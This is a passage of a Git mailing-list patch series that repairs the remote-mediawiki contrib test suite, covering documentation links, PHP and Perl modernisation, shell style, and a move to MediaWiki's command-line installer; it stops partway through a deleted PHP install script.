[PATCH 00/15] remote-mediawiki: various fixes to make tests pass

[PATCH 00/15] remote-mediawiki: various fixes to make tests pass

[Ævar Arnfjörð Bjarmason]

I had occasion to look at remote-mediawiki and I couldn't even get the
test suite to run. The patches below have more detail but there's
issues like a hard error on any Perl release newer than ones released
in 2013, and the MediaWiki release it tries to use spewing errors on
any modern PHP version.

This series fixes these issues. With it applied it's possible to run
the tests, and they all pass.

Simon Legner (1):
  remote-mediawiki: fix duplicate revisions being imported

Ævar Arnfjörð Bjarmason (14):
  remote-mediawiki doc: correct link to GitHub project
  remote-mediawiki doc: link to MediaWiki's current version
  remote-mediawiki doc: bump recommended PHP version to 7.3
  remote-mediawiki tests: use the login/password variables
  remote-mediawiki tests: use a 10 character password
  remote-mediawiki tests: use test_cmp in tests
  remote-mediawiki tests: guard test_cmp with test_path_is_file
  remote-mediawiki tests: change `[]` to `test`
  remote-mediawiki tests: use "$dir/" instead of "$dir."
  remote-mediawiki tests: use a more idiomatic dispatch table
  remote-mediawiki tests: replace deprecated Perl construct
  remote-mediawiki tests: use inline PerlIO for readability
  remote-mediawiki tests: use CLI installer
  remote-mediawiki tests: annotate failing tests

 contrib/mw-to-git/git-mw.perl                 |   2 +-
 contrib/mw-to-git/git-remote-mediawiki.perl   |   5 +-
 contrib/mw-to-git/git-remote-mediawiki.txt    |   2 +-
 contrib/mw-to-git/t/.gitignore                |   2 +-
 contrib/mw-to-git/t/README                    |  10 +-
 contrib/mw-to-git/t/install-wiki/.gitignore   |   1 -
 .../t/install-wiki/LocalSettings.php          | 129 --------------
 .../mw-to-git/t/install-wiki/db_install.php   | 120 -------------
 contrib/mw-to-git/t/t9360-mw-to-git-clone.sh  |   8 +-
 .../t/t9363-mw-to-git-export-import.sh        |  15 +-
 contrib/mw-to-git/t/test-gitmw-lib.sh         | 159 +++++++++---------
 contrib/mw-to-git/t/test-gitmw.pl             |  22 ++-
 contrib/mw-to-git/t/test.config               |  23 +--
 13 files changed, 129 insertions(+), 369 deletions(-)
 delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore
 delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php
 delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php

-- 
2.28.0.297.g1956fa8f8d

[PATCH 01/15] remote-mediawiki doc: correct link to GitHub project

[Ævar Arnfjörð Bjarmason]

Change the link to the canonical one, the old link redirects to the
new one.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-mw.perl               | 2 +-
 contrib/mw-to-git/git-remote-mediawiki.perl | 2 +-
 contrib/mw-to-git/git-remote-mediawiki.txt  | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/contrib/mw-to-git/git-mw.perl b/contrib/mw-to-git/git-mw.perl
index 28df3ee321..eb52a53d32 100755
--- a/contrib/mw-to-git/git-mw.perl
+++ b/contrib/mw-to-git/git-mw.perl
@@ -6,7 +6,7 @@
 # License: GPL v2 or later
 
 # Set of tools for git repo with a mediawiki remote.
-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/
+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki
 
 use strict;
 use warnings;
diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index d8ff2e69c4..08190e23e1 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -9,7 +9,7 @@
 # License: GPL v2 or later
 
 # Gateway between Git and MediaWiki.
-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/
+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki
 
 use strict;
 use MediaWiki::API;
diff --git a/contrib/mw-to-git/git-remote-mediawiki.txt b/contrib/mw-to-git/git-remote-mediawiki.txt
index 23b7ef9f62..5da825f61e 100644
--- a/contrib/mw-to-git/git-remote-mediawiki.txt
+++ b/contrib/mw-to-git/git-remote-mediawiki.txt
@@ -4,4 +4,4 @@ objects from mediawiki just as one would do with a classic git
 repository thanks to remote-helpers.
 
 For more information, visit the wiki at
-https://github.com/moy/Git-Mediawiki/wiki
+https://github.com/Git-Mediawiki/Git-Mediawiki
-- 
2.28.0.297.g1956fa8f8d

[PATCH 02/15] remote-mediawiki doc: link to MediaWiki's current version

[Ævar Arnfjörð Bjarmason]

Amend a comment in the test.config file to point to the latest
upstream version, which makes it easier for the user to tweak this.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test.config | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config
index 5ba0684162..b6fb0b3993 100644
--- a/contrib/mw-to-git/t/test.config
+++ b/contrib/mw-to-git/t/test.config
@@ -31,6 +31,9 @@ WEB_WWW=$WEB/www
 # The variables below are used by the script to install a wiki.
 # You should not modify these unless you are modifying the script itself.
 # tested versions: 1.19.X -> 1.21.1
+#
+# See https://www.mediawiki.org/wiki/Download for what the latest
+# version is.
 MW_VERSION_MAJOR=1.21
 MW_VERSION_MINOR=1
 FILES_FOLDER=install-wiki
-- 
2.28.0.297.g1956fa8f8d

[PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3

[Ævar Arnfjörð Bjarmason]

Change the version in the documentation to what's currently in Debian
stable. Ideally we wouldn't have to keep changing this version, but if
it's going to be hardcoded let's use something that works on a modern
installation.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/README | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README
index 2ee34be7e4..d9c85e2c63 100644
--- a/contrib/mw-to-git/t/README
+++ b/contrib/mw-to-git/t/README
@@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be
 adapted for another distribution):
 
 * lighttpd
-* php5
-* php5-cgi
-* php5-cli
-* php5-curl
-* php5-sqlite
+* php7.3
+* php7.3-cgi
+* php7.3-cli
+* php7.3-curl
+* php7.3-sqlite
 
 Principles and Technical Choices
 --------------------------------
-- 
2.28.0.297.g1956fa8f8d

[PATCH 04/15] remote-mediawiki tests: use the login/password variables

[Ævar Arnfjörð Bjarmason]

Change a hardcoded user/password for the corresponding variable
defined in contrib/mw-to-git/t/test.config.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
index 3ff3a09567..43580af3cf 100755
--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
@@ -27,8 +27,8 @@ test_git_reimport () {
 
 # Don't bother with permissions, be administrator by default
 test_expect_success 'setup config' '
-	git config --global remote.origin.mwLogin WikiAdmin &&
-	git config --global remote.origin.mwPassword AdminPass &&
+	git config --global remote.origin.mwLogin "$WIKI_ADMIN" &&
+	git config --global remote.origin.mwPassword "$WIKI_PASSW" &&
 	test_might_fail git config --global --unset remote.origin.mediaImport
 '
 
-- 
2.28.0.297.g1956fa8f8d

[PATCH 05/15] remote-mediawiki tests: use a 10 character password

[Ævar Arnfjörð Bjarmason]

In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2.

The web installer now refuses our old 9 character password, the
command-line one (will be used in a subsequent change) will accept it,
but trying to use it in the web UI will emit an error asking the user
to reset the password. Let's use a password that'll just work and
allow us to log in as the admin user.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test.config | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config
index b6fb0b3993..3ab56c7165 100644
--- a/contrib/mw-to-git/t/test.config
+++ b/contrib/mw-to-git/t/test.config
@@ -3,7 +3,7 @@ WIKI_DIR_NAME=wiki
 
 # Login and password of the wiki's admin
 WIKI_ADMIN=WikiAdmin
-WIKI_PASSW=AdminPass
+WIKI_PASSW=AdminPass1
 
 # Address of the web server
 SERVER_ADDR=localhost
-- 
2.28.0.297.g1956fa8f8d

[PATCH 06/15] remote-mediawiki tests: use test_cmp in tests

[Ævar Arnfjörð Bjarmason]

Change code that used an ad-hoc diff invocation to use our test_cmp
helper instead. I'm also changing the order of arguments to be the
standard "test_cmp <expected> <actual>".

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
index 9106833578..4c39bda7bf 100755
--- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
+++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
@@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' '
 		git log --format=%s HEAD^..HEAD >log.tmp
 	) &&
 	echo "this must be the same" >msg.tmp &&
-	diff -b mw_dir_1/log.tmp msg.tmp
+	test_cmp msg.tmp mw_dir_1/log.tmp
 '
 
 
@@ -50,8 +50,8 @@ test_expect_success 'Git clone creates the expected git log with multiple files'
 	echo "this must be the same" >>msgDaddy.tmp &&
 	echo "identical too" >msgDj.tmp &&
 	echo "identical" >>msgDj.tmp &&
-	diff -b mw_dir_2/logDaddy.tmp msgDaddy.tmp &&
-	diff -b mw_dir_2/logDj.tmp msgDj.tmp
+	test_cmp msgDaddy.tmp mw_dir_2/logDaddy.tmp &&
+	test_cmp msgDj.tmp mw_dir_2/logDj.tmp
 '
 
 
@@ -135,7 +135,7 @@ test_expect_success 'Git clone works with one specific page cloned ' '
 		cd mw_dir_8 &&
 		echo "this log must stay" >msg.tmp &&
 		git log --format=%s >log.tmp &&
-		diff -b msg.tmp log.tmp
+		test_cmp msg.tmp log.tmp
 	) &&
 	wiki_check_content mw_dir_8/Namnam.mw Namnam
 '
-- 
2.28.0.297.g1956fa8f8d

[PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Ævar Arnfjörð Bjarmason]

Change a test that used a plain test_cmp to first check the file(s)
using test_path_is_file. If some of these file(s) don't exist (as
happened to me during debugging), test_cmp will emit a way less useful
message about the failure.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
index 43580af3cf..d3de6c204a 100755
--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
@@ -52,9 +52,13 @@ test_expect_success 'git clone works on previously created wiki with media files
 	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
 	git clone -c remote.origin.mediaimport=true \
 		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
+	test_path_is_file mw_dir_clone/Foo.txt &&
+	test_path_is_file mw_dir/Foo.txt &&
 	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&
 	(cd mw_dir_clone && git checkout HEAD^) &&
 	(cd mw_dir && git checkout HEAD^) &&
+	test_path_is_file mw_dir_clone/Foo.txt &&
+	test_path_is_file mw_dir/Foo.txt &&
 	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt
 '
 
@@ -74,6 +78,8 @@ test_expect_success 'git clone works on previously created wiki with media files
 	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
 	git clone -c remote.origin.mediaimport=true \
 		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
+	test_path_is_file mw_dir_clone/Bar.txt &&
+	test_path_is_file mw_dir/Bar.txt &&
 	test_cmp mw_dir_clone/Bar.txt mw_dir/Bar.txt
 '
 
@@ -90,6 +96,7 @@ test_expect_success 'git push & pull work with locally renamed media files' '
 		git commit -m "Rename a file" &&
 		test_git_reimport &&
 		echo "A File" >expect &&
+		test_path_is_file Bar.txt &&
 		test_cmp expect Bar.txt &&
 		test_path_is_missing Foo.txt
 	)
-- 
2.28.0.297.g1956fa8f8d

[PATCH 08/15] remote-mediawiki tests: change `[]` to `test`

[Ævar Arnfjörð Bjarmason]

Convert `[]` to `test` and break if-then into separate lines, both of
which bring the style in line with Git's coding guidelines.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw-lib.sh | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
index 3948a00282..a466be8f3f 100755
--- a/contrib/mw-to-git/t/test-gitmw-lib.sh
+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
@@ -65,7 +65,7 @@ test_check_precond () {
 	GIT_EXEC_PATH=$(cd "$(dirname "$0")" && cd "../.." && pwd)
 	PATH="$GIT_EXEC_PATH"'/bin-wrapper:'"$PATH"
 
-	if [ ! -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" ];
+	if ! test -d "$WIKI_DIR_INST/$WIKI_DIR_NAME"
 	then
 		skip_all='skipping gateway git-mw tests, no mediawiki found'
 		test_done
@@ -304,7 +304,8 @@ create_db () {
 	php "$FILES_FOLDER/$DB_INSTALL_SCRIPT" $(basename "$DB_FILE" .sqlite) \
 		"$WIKI_ADMIN" "$WIKI_PASSW" "$TMP" "$PORT"
 
-	if [ ! -f "$TMP/$DB_FILE" ] ; then
+	if ! test -f "$TMP/$DB_FILE"
+	then
 		error "Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first."
 	fi
 
@@ -325,7 +326,8 @@ wiki_install () {
 	# unpack and copy the files of MediaWiki
 	(
 	mkdir -p "$WIKI_DIR_INST/$WIKI_DIR_NAME"
-	if [ ! -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" ] ; then
+	if ! test -d "$WIKI_DIR_INST/$WIKI_DIR_NAME"
+	then
 		error "Folder $WIKI_DIR_INST/$WIKI_DIR_NAME doesn't exist.
 		Please create it and launch the script again."
 	fi
@@ -333,7 +335,8 @@ wiki_install () {
 	# Fetch MediaWiki's archive if not already present in the TMP directory
 	MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
 	cd "$TMP"
-	if [ ! -f $MW_FILENAME ] ; then
+	if ! test -f $MW_FILENAME
+	then
 		echo "Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ..."
 		wget "http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/$MW_FILENAME" ||
 			error "Unable to download "\
@@ -359,7 +362,8 @@ wiki_install () {
 	# And modify parameters according to the ones set at the top
 	# of this script.
 	# Note that LocalSettings.php is never modified.
-	if [ ! -f "$FILES_FOLDER/LocalSettings.php" ] ; then
+	if ! test -f "$FILES_FOLDER/LocalSettings.php"
+	then
 		error "Can't find $FILES_FOLDER/LocalSettings.php " \
 			"in the current folder. "\
 		"Please run the script inside its folder."
@@ -401,7 +405,8 @@ wiki_install () {
 # Warning: This function must be called only in a subdirectory of t/ directory
 wiki_reset () {
 	# Copy initial database of the wiki
-	if [ ! -f "../$FILES_FOLDER/$DB_FILE" ] ; then
+	if ! test -f "../$FILES_FOLDER/$DB_FILE"
+	then
 		error "Can't find ../$FILES_FOLDER/$DB_FILE in the current folder."
 	fi
 	cp "../$FILES_FOLDER/$DB_FILE" "$TMP" ||
-- 
2.28.0.297.g1956fa8f8d

[PATCH 09/15] remote-mediawiki tests: use "$dir/" instead of "$dir."

[Ævar Arnfjörð Bjarmason]

Change UI messages to use "$dir/" instead of "$dir.". I think this is
less confusing.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw-lib.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
index a466be8f3f..aa04ebfd0f 100755
--- a/contrib/mw-to-git/t/test-gitmw-lib.sh
+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
@@ -343,10 +343,10 @@ wiki_install () {
 			"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/"\
 			"$MW_FILENAME. "\
 			"Please fix your connection and launch the script again."
-		echo "$MW_FILENAME downloaded in $(pwd). "\
+		echo "$MW_FILENAME downloaded in $(pwd)/ "\
 			"You can delete it later if you want."
 	else
-		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)."
+		echo "Reusing existing $MW_FILENAME downloaded in $(pwd)/"
 	fi
 	archive_abs_path=$(pwd)/$MW_FILENAME
 	cd "$WIKI_DIR_INST/$WIKI_DIR_NAME/" ||
-- 
2.28.0.297.g1956fa8f8d

[PATCH 10/15] remote-mediawiki tests: use a more idiomatic dispatch table

[Ævar Arnfjörð Bjarmason]

Change the dispatch table code in test-gitmw.pl to use a hash where
subroutine references are the values. This is more obvious than a hash
where the values are strings we'll use to go searching around in the
symbol table for the function.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw.pl | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl
index 0ff76259fa..afc4650b1a 100755
--- a/contrib/mw-to-git/t/test-gitmw.pl
+++ b/contrib/mw-to-git/t/test-gitmw.pl
@@ -214,12 +214,12 @@ sub wiki_upload_file {
 
 wiki_login($wiki_admin, $wiki_admin_pass);
 
-my %functions_to_call = qw(
-	upload_file    wiki_upload_file
-	get_page       wiki_getpage
-	delete_page    wiki_delete_page
-	edit_page      wiki_editpage
-	getallpagename wiki_getallpagename
+my %functions_to_call = (
+	upload_file    => \&wiki_upload_file,
+	get_page       => \&wiki_getpage,
+	delete_page    => \&wiki_delete_page,
+	edit_page      => \&wiki_editpage,
+	getallpagename => \&wiki_getallpagename,
 );
 die "$0 ERROR: wrong argument" unless exists $functions_to_call{$fct_to_call};
-&{$functions_to_call{$fct_to_call}}(@ARGV);
+$functions_to_call{$fct_to_call}->(@ARGV);
-- 
2.28.0.297.g1956fa8f8d

[PATCH 11/15] remote-mediawiki tests: replace deprecated Perl construct

[Ævar Arnfjörð Bjarmason]

The use of the encoding pragma has been a hard error since Perl 5.18,
which was released in 2013. What this script really wanted to do was
to decode @ARGV and write out some files with the UTF-8 PerlIO
layer. Let's just do that explicitly instead.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw.pl | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl
index afc4650b1a..71e5b06235 100755
--- a/contrib/mw-to-git/t/test-gitmw.pl
+++ b/contrib/mw-to-git/t/test-gitmw.pl
@@ -24,7 +24,6 @@
 
 use MediaWiki::API;
 use Getopt::Long;
-use encoding 'utf8';
 use DateTime::Format::ISO8601;
 use open ':encoding(utf8)';
 use constant SLASH_REPLACEMENT => "%2F";
@@ -222,4 +221,4 @@ sub wiki_upload_file {
 	getallpagename => \&wiki_getallpagename,
 );
 die "$0 ERROR: wrong argument" unless exists $functions_to_call{$fct_to_call};
-$functions_to_call{$fct_to_call}->(@ARGV);
+$functions_to_call{$fct_to_call}->(map { utf8::decode($_); $_ } @ARGV);
-- 
2.28.0.297.g1956fa8f8d

[PATCH 12/15] remote-mediawiki tests: use inline PerlIO for readability

[Ævar Arnfjörð Bjarmason]

Replace the use of the "open" pragma with a three-arg open in the
places that actually care about UTF-8, while leaving those that
don't (the config parsing).

Unlike the previous "encoding" pragma change this isn't needed for
compatibility with anything. I just think it's easier to read code
that has localized effects than code that changes global settings.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw.pl | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl
index 71e5b06235..c5d687f078 100755
--- a/contrib/mw-to-git/t/test-gitmw.pl
+++ b/contrib/mw-to-git/t/test-gitmw.pl
@@ -25,7 +25,6 @@
 use MediaWiki::API;
 use Getopt::Long;
 use DateTime::Format::ISO8601;
-use open ':encoding(utf8)';
 use constant SLASH_REPLACEMENT => "%2F";
 
 #Parsing of the config file
@@ -86,7 +85,7 @@ sub wiki_getpage {
 	# Replace spaces by underscore in the page name
 	$pagename =~ s/ /_/g;
 	$pagename =~ s/\//%2F/g;
-	open(my $file, ">$destdir/$pagename.mw");
+	open(my $file, ">:encoding(UTF-8)", "$destdir/$pagename.mw");
 	print $file "$content";
 	close ($file);
 
@@ -171,7 +170,7 @@ sub wiki_getallpagename {
 				cmlimit => 500 },
 		)
 		|| die $mw->{error}->{code}.": ".$mw->{error}->{details};
-		open(my $file, ">all.txt");
+		open(my $file, ">:encoding(UTF-8)", "all.txt");
 		foreach my $page (@{$mw_pages}) {
 			print $file "$page->{title}\n";
 		}
@@ -184,7 +183,7 @@ sub wiki_getallpagename {
 				aplimit => 500,
 			})
 		|| die $mw->{error}->{code}.": ".$mw->{error}->{details};
-		open(my $file, ">all.txt");
+		open(my $file, ">:encoding(UTF-8)", "all.txt");
 		foreach my $page (@{$mw_pages}) {
 			print $file "$page->{title}\n";
 		}
-- 
2.28.0.297.g1956fa8f8d

[PATCH 13/15] remote-mediawiki tests: use CLI installer

[Ævar Arnfjörð Bjarmason]

Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.

The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.

As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.

This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.

While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)

  * Use MediaWiki's own defaults where possible, e.g. before we'd name
    the database "wikidb.sqlite", now we'll simply use whatever name
    MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
    directory name the SQLite file will be dropped into, not the full
    path.

  * Put all of our database & download assets into a new "mediawiki/"
    folder. This makes it easier to reason about as the current &
    template "backup" database the tests keep swapping around live
    next to each other.

    This'll also prevent future potential breakage as there isn't a
    single SQLite database. MediaWiki also creates a job queue
    database and a couple of cache databases. In practice it seems we
    got away with not resetting these when we reset the main database,
    but it's the sort of thing that could break in the future (reset,
    main store doesn't have the article, but the cache does).

  * The "delete" function now only deletes the MediaWiki installation
    & database, not the downloaded .tar.gz file. This makes us
    friendlier to a developer on a slow connection.

1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and
   clear a MediaWiki", 2012-07-06)

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/.gitignore                |   2 +-
 contrib/mw-to-git/t/install-wiki/.gitignore   |   1 -
 .../t/install-wiki/LocalSettings.php          | 129 ----------------
 .../mw-to-git/t/install-wiki/db_install.php   | 120 ---------------
 contrib/mw-to-git/t/test-gitmw-lib.sh         | 142 +++++++++---------
 contrib/mw-to-git/t/test.config               |  18 +--
 6 files changed, 78 insertions(+), 334 deletions(-)
 delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore
 delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php
 delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php

diff --git a/contrib/mw-to-git/t/.gitignore b/contrib/mw-to-git/t/.gitignore
index a7a40b4964..2b8dc30c6d 100644
--- a/contrib/mw-to-git/t/.gitignore
+++ b/contrib/mw-to-git/t/.gitignore
@@ -1,4 +1,4 @@
 WEB/
-wiki/
+mediawiki/
 trash directory.t*/
 test-results/
diff --git a/contrib/mw-to-git/t/install-wiki/.gitignore b/contrib/mw-to-git/t/install-wiki/.gitignore
deleted file mode 100644
index b5a2a4408c..0000000000
--- a/contrib/mw-to-git/t/install-wiki/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-wikidb.sqlite
diff --git a/contrib/mw-to-git/t/install-wiki/LocalSettings.php b/contrib/mw-to-git/t/install-wiki/LocalSettings.php
deleted file mode 100644
index 745e47e881..0000000000
--- a/contrib/mw-to-git/t/install-wiki/LocalSettings.php
+++ /dev/null
@@ -1,129 +0,0 @@
-<?php
-# This file was automatically generated by the MediaWiki 1.19.0
-# installer. If you make manual changes, please keep track in case you
-# need to recreate them later.
-#
-# See includes/DefaultSettings.php for all configurable settings
-# and their default values, but don't forget to make changes in _this_
-# file, not there.
-#
-# Further documentation for configuration settings may be found at:
-# http://www.mediawiki.org/wiki/Manual:Configuration_settings
-
-# Protect against web entry
-if ( !defined( 'MEDIAWIKI' ) ) {
-	exit;
-}
-
-## Uncomment this to disable output compression
-# $wgDisableOutputCompression = true;
-
-$wgSitename      = "Git-MediaWiki-Test";
-$wgMetaNamespace = "Git-MediaWiki-Test";
-
-## The URL base path to the directory containing the wiki;
-## defaults for all runtime URL paths are based off of this.
-## For more information on customizing the URLs please see:
-## http://www.mediawiki.org/wiki/Manual:Short_URL
-$wgScriptPath       = "@WG_SCRIPT_PATH@";
-$wgScriptExtension  = ".php";
-
-## The protocol and server name to use in fully-qualified URLs
-$wgServer           = "@WG_SERVER@";
-
-## The relative URL path to the skins directory
-$wgStylePath        = "$wgScriptPath/skins";
-
-## The relative URL path to the logo.  Make sure you change this from the default,
-## or else you'll overwrite your logo when you upgrade!
-$wgLogo             = "$wgStylePath/common/images/wiki.png";
-
-## UPO means: this is also a user preference option
-
-$wgEnableEmail      = true;
-$wgEnableUserEmail  = true; # UPO
-
-$wgEmergencyContact = "apache@localhost";
-$wgPasswordSender   = "apache@localhost";
-
-$wgEnotifUserTalk      = false; # UPO
-$wgEnotifWatchlist     = false; # UPO
-$wgEmailAuthentication = true;
-
-## Database settings
-$wgDBtype           = "sqlite";
-$wgDBserver         = "";
-$wgDBname           = "@WG_SQLITE_DATAFILE@";
-$wgDBuser           = "";
-$wgDBpassword       = "";
-
-# SQLite-specific settings
-$wgSQLiteDataDir    = "@WG_SQLITE_DATADIR@";
-
-
-## Shared memory settings
-$wgMainCacheType    = CACHE_NONE;
-$wgMemCachedServers = array();
-
-## To enable image uploads, make sure the 'images' directory
-## is writable, then set this to true:
-$wgEnableUploads  = true;
-$wgUseImageMagick = true;
-$wgImageMagickConvertCommand ="@CONVERT@";
-$wgFileExtensions[] = 'txt';
-
-# InstantCommons allows wiki to use images from http://commons.wikimedia.org
-$wgUseInstantCommons  = false;
-
-## If you use ImageMagick (or any other shell command) on a
-## Linux server, this will need to be set to the name of an
-## available UTF-8 locale
-$wgShellLocale = "en_US.utf8";
-
-## If you want to use image uploads under safe mode,
-## create the directories images/archive, images/thumb and
-## images/temp, and make them all writable. Then uncomment
-## this, if it's not already uncommented:
-#$wgHashedUploadDirectory = false;
-
-## Set $wgCacheDirectory to a writable directory on the web server
-## to make your wiki go slightly faster. The directory should not
-## be publicly accessible from the web.
-#$wgCacheDirectory = "$IP/cache";
-
-# Site language code, should be one of the list in ./languages/Names.php
-$wgLanguageCode = "en";
-
-$wgSecretKey = "1c912bfe3519fb70f5dc523ecc698111cd43d81a11c585b3eefb28f29c2699b7";
-#$wgSecretKey = "@SECRETKEY@";
-
-
-# Site upgrade key. Must be set to a string (default provided) to turn on the
-# web installer while LocalSettings.php is in place
-$wgUpgradeKey = "ddae7dc87cd0a645";
-
-## Default skin: you can change the default skin. Use the internal symbolic
-## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook', 'vector':
-$wgDefaultSkin = "vector";
-
-## For attaching licensing metadata to pages, and displaying an
-## appropriate copyright notice / icon. GNU Free Documentation
-## License and Creative Commons licenses are supported so far.
-$wgRightsPage = ""; # Set to the title of a wiki page that describes your license/copyright
-$wgRightsUrl  = "";
-$wgRightsText = "";
-$wgRightsIcon = "";
-
-# Path to the GNU diff3 utility. Used for conflict resolution.
-$wgDiff3 = "/usr/bin/diff3";
-
-# Query string length limit for ResourceLoader. You should only set this if
-# your web server has a query string length limit (then set it to that limit),
-# or if you have suhosin.get.max_value_length set in php.ini (then set it to
-# that value)
-$wgResourceLoaderMaxQueryLength = -1;
-
-
-
-# End of automatically generated settings.
-# Add more configuration options below.
diff --git a/contrib/mw-to-git/t/install-wiki/db_install.php b/contrib/mw-to-git/t/install-wiki/db_install.php
deleted file mode 100644
index b033849800..0000000000
--- a/contrib/mw-to-git/t/install-wiki/db_install.php
+++ /dev/null
@@ -1,120 +0,0 @@
-<?php
-/**
- * This script generates a SQLite database for a MediaWiki version 1.19.0
- * You must specify the login of the admin (argument 1) and its
- * password (argument 2) and the folder where the database file
- * is located (absolute path in argument 3).
- * It is used by the script install-wiki.sh in order to make easy the
- * installation of a MediaWiki.
- *
- * In order to generate a SQLite database file, MediaWiki ask the user
